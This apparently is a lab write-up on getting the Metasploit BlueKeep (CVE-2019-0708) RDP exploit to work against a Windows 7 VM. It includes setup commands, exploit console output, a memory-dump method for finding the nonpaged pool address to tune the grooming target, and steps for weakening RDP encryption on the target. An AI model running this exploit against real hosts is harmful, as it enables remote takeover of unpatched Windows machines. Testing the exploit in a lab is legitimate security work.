Testing Bluekeep CVE-2019–0708 Metasploit Module on Windows 7

The test was executed on a Windows 7 Enterprise x64 Ultimate, running over a VMWare 15 Workstation Pro.

The metasploit was placed on a Kali Linux 4.19, also over VMWare.

Setting Up

Summary of the packages installed in order to run the project’s branch with the operational bluekeep exploit:

UPDATE: Seems that the PullRequest was approved and merged to the project’s master branch. So it’s not necessary to set the origin to the pull/12283.

#git clone https://github.com/rapid7/metasploit-framework.git
#cd metasploit-framework/
#git fetch origin pull/12283/head:bluekeep
#git checkout bluekeep
#gem install bundler
#bundler
#apt install libpq-dev
#bundler
#apt install libpcap-dev -y
#bundler
#apt install libsqlite3-dev
#bundler
#./msfconsole

Getting a Blue Screen

After setting up the basic options of the exploit (rhosts, payload and target), the module failed in creating a session and caused a BSOD on the client with a PAGE_FAULT_IN_NONPAGED_AREA.

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[*] Started reverse TCP handler on 172.24.1.10:4444
[*] 172.24.1.20:3389 — Detected RDP on 172.24.1.20:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 172.24.1.20:3389 — The target is vulnerable.
[*] 172.24.1.20:3389 — Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
[*] 172.24.1.20:3389 — Surfing channels …
[*] 172.24.1.20:3389 — Lobbing eggs …
[*] 172.24.1.20:3389 — Forcing the USE of FREE’d object …
[*] Exploit completed, but no session was created.

Finding the NPP

As disclaimed in the github of the project:

The module is currently ranked as Manual, as the user needs to supply additional target information or risk crashing the target host. The module implements a default fingerprint-only TARGET option that just checks for a vulnerable host and displays some initial information about the specific target OS, but the user will need to specify a more exact target based on secondary recon, or until further improvements in this module enable more accurate determination of the target kernel memory layout at runtime.

So, following the tips from pentest-tools.com I started dealing with the GROOMBASE address problem.

Since I was running the Win7 with Vmware, the process of extracting the memory dump was different.

• First, download the vmss2core tool https://labs.vmware.com/flings/vmss2core;
• Take a snapshot of the VM;
• Look for the .vmsn and .vmem files generated after the snapshot and copy them to the vmss2core directory.
• Run the tool, passing the files in this order:
• >vmss2core-sb-8456865.exe -W “Win7_64b-Snapshot1.vmsn” “Win7_64b-Snapshot1.vmem”
• After that you have a memory.dmp file.

In order to get the start address of the NonPaged Pool area I used Windbg.

Running the “!poolfind” with anything as a parameter you get the message:

Searching nonpaged pool (fffffa8002402000 : fffffa805fc00000) for tag 0x2020202a (*   )

With that you have the start address of nonpaged pool (fffffa8002402000).

The next step is to change the address of the respective target, in the file “modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb”.

Finally

With everything set up, the exploit ran successfully.

If you face some problem after that, try to change the GROOMSIZE in the module to 50 or 100.

“set GROOMSIZE 100”.

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

It’s worth saying that in another lab setup where I tested this, I came across an error with the TLS connection. If you have the same problem, follow these steps:

Error with the security level on the client.

[*] 10.2.2.2:3389 — Verifying RDP protocol…
[*] 10.2.2.2:3389 — Attempting to connect using TLS security
[*] 10.2.2.2:3389 — Send data: 0300002d28e00000000000436f6f6b69653a206d737473686173683d575056517971720d0a010008000b000000 # this was a debug I’ve put in the lib/msf/core/exploit/rdp.rb
[-] 10.2.2.2:3389 — Connection reset
[*] 10.2.2.2:3389 — Cannot reliably check exploitability.
[-] 10.2.2.2:3389 — Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.

Capturing some traffic during the execution of the exploit, became clear that there was a problem with the TLS initial authentication.
After a TLS “Client Hello” sent from the Metasploit machine, the client responded with a RST.

After reading this comment on the github of the project, I followed these instructions => https://www.howtogeek.com/175087/how-to-enable-and-secure-remote-desktop-on-windows/

It was necessary to lower the security of the RDP connection, with basically:

-gpedit.msc;
-Computer Policy > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host, and then click on Security.
-On “Set client connection encryption level”, set to Low Level;